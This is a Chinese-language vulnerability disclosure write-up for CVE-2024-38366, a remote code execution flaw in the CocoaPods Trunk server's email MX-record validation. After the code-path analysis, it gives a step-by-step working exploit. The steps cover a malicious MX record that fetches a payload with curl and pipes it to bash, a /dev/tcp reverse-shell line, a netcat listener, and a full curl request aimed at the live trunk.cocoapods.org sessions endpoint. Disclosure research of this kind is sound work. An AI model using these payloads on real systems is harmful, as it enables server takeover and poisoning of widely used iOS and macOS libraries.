CocoaPods-RCE_CVE-2024-38366

CocoaPods RCE 漏洞 CVE-2024-38366

为了生成新会话，Session Controller 文件提供了 HTTP POST API 端点 – /api/v1/sessions。

该端点处理用户提供的注册详细信息，包括 "email"、"name" 和 "description" 参数。然后，它调用 Owner.find_or_initialize_by_email_and_name 方法。

该函数调用包含 "email" 和 "name" 参数值。

APP/MODELS/OWNER.RB

Owner Model 文件定义了 find_or_initialize_by_email_and_name 方法，该方法检查所提供的电子邮件是否存在。如果不存在，则使用上述参数创建新的 Owner 对象。

对象一经创建，在存储到数据库之前，Sequel 框架将执行 validate 方法。该方法包含 RFC-822 包中的多重验证。

我们重点关注 validates_mx_record 方法的执行，该方法使用了 RFC-822 包。

RFC-822/LIB/RFC822.RB

该库实现了 mx_records 方法来验证所提供的域是否有效。此外，它还使用 host 命令实现了 MX 记录响应性验证。

该方法首先将整个电子邮件地址与定义的电子邮件正则表达式模式进行比较——检查所提供的电子邮件是否匹配该模式。如果模式不匹配，该方法将返回空值，并且不会通过 host 命令继续进行主动检查。

随后，mx_records 方法调用 raw_mx_records 方法，该方法对电子邮件值进行处理——仅提取域部分（最后一个 '@' 之后的所有内容），并使用剥离后的域作为参数值调用 host_mx 方法。

host_mx 方法执行任意操作系统命令，并将其与用户提供的电子邮件的域拼接在一起。 最终执行的命令如下：
/usr/bin/env host -t MX <DOMAIN>

漏洞利用

障碍

为了开始利用该漏洞，我们向 /api/v1/sessions API 端点发送了 HTTP POST 请求。在请求体中，我们提供了经过构造的输入。

主要目标是触发 MX 记录验证过程，该过程最终将导致对恶意用户输入的求值与执行，从而在 trunk 服务器上执行操作系统命令。

为了实现目标并建立完全交互式的反弹 shell，我们必须克服某些挑战：

• 小写转换： 第一个挑战源于用户提供的电子邮件地址会通过 owner.rb/normalize_email 方法转换为小写。因此，像 reef<span>@evasec.io|curl{IFS}evasec.io 这样简单的载荷不会有效，因为服务器会以小写形式处理它。
  注意：IFS 会被转换为 ifs，而不会用作分隔符。
• 正则表达式模式验证： RFC822 库函数包含使用已定义正则表达式模式的验证。该验证构成了重大障碍，因为诸如 reef<span>@evasec.io|{curl,evasec.io} 之类的载荷无法生效，原因是载荷中存在以下该库会消除的字符：
  • “ “ (space)
  • "
  • ()
  • .
  • ,
  • <>
  • @
  • []

突破口

为了完成我们的任务，我们需要突破遇到的这堵高墙。
我们发现 /usr/bin/env host -t MX <DOMAIN> 命令提供的输出是我们可控的，使我们能够绕过这些挑战。
该输出可以通过管道传入 bash 命令来加以利用，从而创造代码执行的机会。
例如：

/usr/bin/env host -t MX <DOMAIN> | bash

我们在通过 AWS 上的 Route53 管理的域上构造了一条 MX 记录。 该 MX 记录包含以下 有效 字符串：

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com

目标： 构造的载荷被设定为在通过 host 命令对域进行验证期间执行。

利用方式概述

为了发起远程代码执行，我们调用了 POST /api/v1/sessions API 端点并提交了以下载荷：
anything<span>@owned.domain|bash
其中域 "owned.domain" 即代表上文所述的恶意构造的 MX 记录。

复现步骤

1. 准备载荷服务器：设置一个 Web 服务器来托管 payload.txt 文件，该文件包含要在 Trunk 服务器上执行的代码。

   • 例如：
     sh -i >& /dev/tcp/SERVER/1337 0>&1

2. 创建恶意 MX 记录：生成一条新的 MX 记录，其中包含旨在从步骤 1 获取所准备载荷并执行它的载荷。

   • 例如：
     10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com

3. 设置反弹 Shell 监听器：在可公开访问的端口上启动反弹 shell 监听器，例如 netcat (nc)。

   • 例如：
     nc -lvp 1337

4. 执行反弹 Shell：发送 HTTP 请求以触发反弹 shell 的执行，可以使用 curl 命令来完成。

   • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

执行

完整利用视频

成功利用的影响

在我们的研究中，我们发现 CocoaPods Trunk Server 中存在一个严重的安全漏洞，该漏洞允许执行任意操作系统命令（完全交互式远程代码执行）。

如果未经授权的威胁行为者攻陷该服务器，其可能会将恶意代码引入广泛使用的库中。这可能导致无数依赖这些被攻陷的 CocoaPods 的 iOS 和 macOS 应用出现严重的安全漏洞。

此外，威胁行为者还可以操纵 pod 规范、干扰合法库的分发，或在 CocoaPods 生态系统中造成大范围的破坏。